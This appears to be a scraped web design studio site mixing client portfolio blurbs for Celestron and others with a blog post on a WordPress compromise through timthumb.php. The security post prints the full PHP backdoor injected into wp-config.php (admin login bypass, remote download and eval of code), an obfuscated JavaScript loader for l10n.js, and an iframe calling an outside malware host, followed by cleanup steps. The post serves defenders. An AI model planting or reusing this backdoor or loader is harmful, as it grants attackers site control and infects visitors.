GammaFX Helps Brands Reveal a New Dimension of  Their Products with Our New Gamma360 Service

In 2012 we are proud to release a new solution that allows brands quickly deploy stunning interactive 360-degree product views on their websites.  Utilizing our 3D modeling and rendering expertise in conjunction with our cross-platform 360 player, Gamma360 is a one stop solution for creating and deploying product 360s for the web, interactive product kiosks or mobile devices.

How It Works?

Gamma360 does not rely on photography or video.  Instead, we use CAD models provided by you to create life-like renderings of your product.  The final product, wrapped in our cross-platform player can be hosted on our content delivery network or reside on your website.

To get started, contact us today!

Client: Celestron, LLC

Project URL: http://www.celestron.com/

A spectacular Redesign Puts the Focus on Consumers

Celestron, a leading designer and manufacturer of telescopes, binoculars, spotting scopes, microscopes, weather stations, GPS devices and related accessories, has just announced the debut of their remarkable new online destination – Celestron.com.

With an astonishingly consumer-friendly new global portal and three parallel websites, each dedicated to a specialty market, Celestron has streamlined the process of finding the perfect product by making every option accessible via product category and/or lifestyle pathways. And a universal shopping cart conveniently keeps track across the complementary sites for U.S. shoppers.

The result is that users can quickly and easily find the perfect fit for their needs whether they start out seeking a specific product type or feature or simply want to explore the options available to enhance their particular hobbies and interests.

“Celestron has always been known for top-of-the-line optic products at an accessible price point,” says Celestron President and CEO, Joseph A. Lupica, Jr. “But as our product line has expanded to include so many diverse and exciting recreational products as well, our client base has also grown larger and more diverse. This evolution is the perfect opportunity to continue engaging with our customers in a way that is more relevant to their experience.”

Built with ease of use in mind, the new Celestron.com website integrates all product information into a single screen with multiple product images and user-submitted photography. Smart “spec” and “activity” icons make assessing and comparing items a breeze. And, product tours and videos, user ratings and reviews, and a solid customer support system – complete with instructions, downloads, articles and manuals – are built right in. The new website even integrates spectacular user submitted astro photography from CelestronImages.com, one of the largest astroimaging communities in the world.

Of course, the new site is also fully integrated with social media like Facebook, Google+, Twitter, etc., and optimized for viewing on iPhones, iPads, and Android smart phones.

Visit www.celestron.com to experience the new, consumer-friendly website.

About Celestron

Celestron is a leading designer, manufacturer and importer of high-quality optical products including computerized and non-computerized telescopes and related accessories, weather stations, GPS devices, binoculars, spotting scopes and microscopes. Since manufacturing its first telescope in 1960, Celestron has grown to become the world’s leading telescope maker, and enjoys brand-name recognition among serious amateur astronomers for superior optics, outstanding design, and innovative technology. Celestron’s extraordinary products continue to receive numerous industry and consumer media accolades, adding to an already impressive list that includes awards for product innovation from Reader’s Digest, Popular Science, PC Magazine, Popular Mechanics, the Consumer Electronics Association and more. Celestron is a privately held company with corporate offices and manufacturing facilities, in Torrance, CA.

Hackers create backdoor access in you website and inject malicious JavaScript that attempts to download various Trojans and malware on your visitor’s computers.

At this stage of the infection attackers are also modifying two of WordPress core files /wp-config.php and /wp-includes/js/l10n.js

The wp-config.php gets the following new lines of code that allows hackers backdoor access to your website:

if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == ’66f041e16a60928b05a7e228a89c3799′){
if ($_GET['pingnow']== ‘login’){
$user_login = ‘admin’;
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action(‘wp_login’, $user_login);
}
if (($_GET['pingnow']== ‘exec’)&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).’.php’;
$fp = fopen($fnm, “w”);
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo “// ”;
}
if (($_GET['pingnow']== ‘eval’)&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}


The attackers also add the following code to your l10n.js file.

var _0x4de4=["\x64\x20\x35\x28\x29\x7B\x62\x20\x30\x3D\x32\x2E\x63\x28\x22\x33\x22\x29\x3B\x32\x2E\x39\x2E\x36\x28\x30\x29\x3B\x30\x2E\x37\x3D\x27\x33\x27\x3B\x30\x2E\x31\x2E\x61\x3D\x27\x34\x27\x3B\x30\x2E\x31\x2E\x6B\x3D\x27\x34\x27\x3B\x30\x2E\x69\x3D\x27\x66\x3A\x2F\x2F\x67\x2D\x68\x2E\x6D\x2F\x6A\x2E\x65\x27\x7D\x38\x28\x35\x2C\x6C\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x65\x6C\x7C\x73\x74\x79\x6C\x65\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x69\x66\x72\x61\x6D\x65\x7C\x31\x70\x78\x7C\x4D\x61\x6B\x65\x46\x72\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x69\x64\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x62\x6F\x64\x79\x7C\x77\x69\x64\x74\x68\x7C\x76\x61\x72\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x70\x68\x70\x7C\x68\x74\x74\x70\x7C\x63\x6F\x75\x6E\x74\x65\x72\x7C\x77\x6F\x72\x64\x70\x72\x65\x73\x73\x7C\x73\x72\x63\x7C\x66\x72\x61\x6D\x65\x7C\x68\x65\x69\x67\x68\x74\x7C\x31\x30\x30\x30\x7C\x63\x6F\x6D","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x2f46x1,_0x2f46x2,_0x2f46x3,_0x2f46x4,_0x2f46x5,_0x2f46x6){_0x2f46x5=function (_0x2f46x3){return _0x2f46x3.toString(36)};if(!_0x4de4[5][_0x4de4[4]](/^/,String)){while(_0x2f46x3--){_0x2f46x6[_0x2f46x3.toString(_0x2f46x2)]=_0x2f46x4[_0x2f46x3]||_0x2f46x3.toString(_0x2f46x2);}_0x2f46x4=[function (_0x2f46x5){return _0x2f46x6[_0x2f46x5]}];_0x2f46x5=function (){return _0x4de4[6]};_0x2f46x3=1;};while(_0x2f46x3--){if(_0x2f46x4[_0x2f46x3]){_0x2f46x1=_0x2f46x1[_0x4de4[4]]( new RegExp(_0x4de4[7]+_0x2f46x5(_0x2f46x3)+_0x4de4[7],_0x4de4[8]),_0x2f46x4[_0x2f46x3]);}}return _0x2f46x1}(_0x4de4[0],23,23,_0x4de4[3][_0x4de4[2]](_0x4de4[1]),0,{}));

This appends an iframe to the bottom of your blog through which they can inject future malware:

<iframe id="iframe" src="http://counter-wordpress.com/frame.php" style="width: 1px; height: 1px; "></iframe>

Solution

1. Immediately remove or update the timthumb.php script.  When removing don’t forget to also update your theme files that rely on this functionality.
2. Delete the cache folder located in the root of your template.
3. Remove the code above from your wp-config.php file.  Normally, the last line of that file should read: require_once(ABSPATH . ‘wp-settings.php’);
4. Remove the code above from the /wp-includes/js/l10n.js file.
5. Update all WordPress and FTP passwords for good measure.

Client: Celestron, LLC

Project URL: http://www.youtube.com/watch?v=-_FmKN3_wXk

Summary: GammaFX Design Studio created this sophisticated 3D product tour to showcase Celestron’s new line of high end binoculars.

Client: Celestron, LLC

Project URL: http://celestronsites.com/skyprodigy

Summary: To introduce their groundbreaking new SkyProdigy telescopes Celestron launched an ad campaign centered around Caroline Moore, who discovered a supernova at the age of 14. GammaFX team designed and build this microsite to support the ad campaign. We also produced all videos that are featured on the website.

This site is deployed on the WordPress MultiSite platform that allows our clients rapidly deploy microsites with unified control panel. It also utilizes out Shopatron Checkout Module for WordPress to achieve seamless integration with Shopatron eCommerce platform.

Client: Woodland Hills Telescopes
Project URL: http://telescopes.net/
Summary: Telescopes.net is an eCommerce website for a premier optics retailer.

Client: Celestron, LLC

Project URL: http://skyqapp.com

Summary: This website is dedicated to the first amateur astronomy iOS app launched by Celestron – world’s leading manufacturer of telescopes and other optical products.

This site is deployed on the WordPress MultiSite platform that allows our clients rapidly deploy microsites with unified control panel.

Client: Celestron, LLC

Project URL: http://www.youtube.com/watch?v=cYiPNs98KkE

Summary: GammaFX Design Studio created this 3D product tour to help Celestron – a global leader in optics manufacturing – showcase their new hi-tech LCD Handheld Digital Microscope.

Client: Esther & Miriam, Inc.
Project URL: http://estherandmiriam.com/
Summary: EstherAndMiriam.com is private sale eCommerce website for a retailer specializes in stylish clothing for women that complies with Jewish traditions.

We hope everyone enjoyed GammaFX’s presentation on Automation and working with APIs. In case you missed it, click here to get your copy…

Check out the photos from the event here.